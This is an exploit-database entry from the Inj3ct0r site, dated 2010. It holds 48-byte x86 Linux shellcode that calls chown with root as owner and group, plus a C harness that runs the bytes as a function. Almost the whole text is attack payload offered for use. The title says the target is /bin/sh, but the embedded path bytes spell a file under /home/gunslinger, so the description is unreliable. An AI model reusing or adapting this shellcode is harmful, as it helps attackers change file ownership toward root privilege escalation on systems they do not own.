/* 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Name : 48 bytes chown root:root /bin/sh x86 linux shellcode Date : Sat Jun 5 15:32:40 2010 Author : gunslinger_ Web : http://devilzc0de.org blog : http://gunslingerc0de.wordpress.com tested on : linux debian special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org) greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew */ #include char *shellcode= "\xeb\x13" /* jmp 0x8048075 */ "\x31\xc0" /* xor %eax,%eax */ "\xb0\xb6" /* mov $0xb6,%al */ "\x5b" /* pop %ebx */ "\x31\xc9" /* xor %ecx,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\xb0\x01" /* mov $0x1,%al */ "\x31\xdb" /* xor %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\xe8\xff\xff\xff" /* call 0x8048062 */ "\x2f" /* das */ "\x68\x6f\x6d\x65\x2f" /* push $0x2f656d6f */ "\x67\x75\x6e" /* addr16 jne 0x80480f1 */ "\x73\x6c" /* jae 0x80480f1 */ "\x69\x6e\x67\x65\x72\x2f\x73"/* imul $0x732f7265,0x67(%esi),%ebp */ "\x68" /* .byte 0x68 */ "\x65" /* gs */ "\x6c" /* insb (%dx),%es "(%edi) */ "\x6c"; /* insb (%dx),%es "(%edi) */ int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); ((void (*)(void)) shellcode)(); return 0; }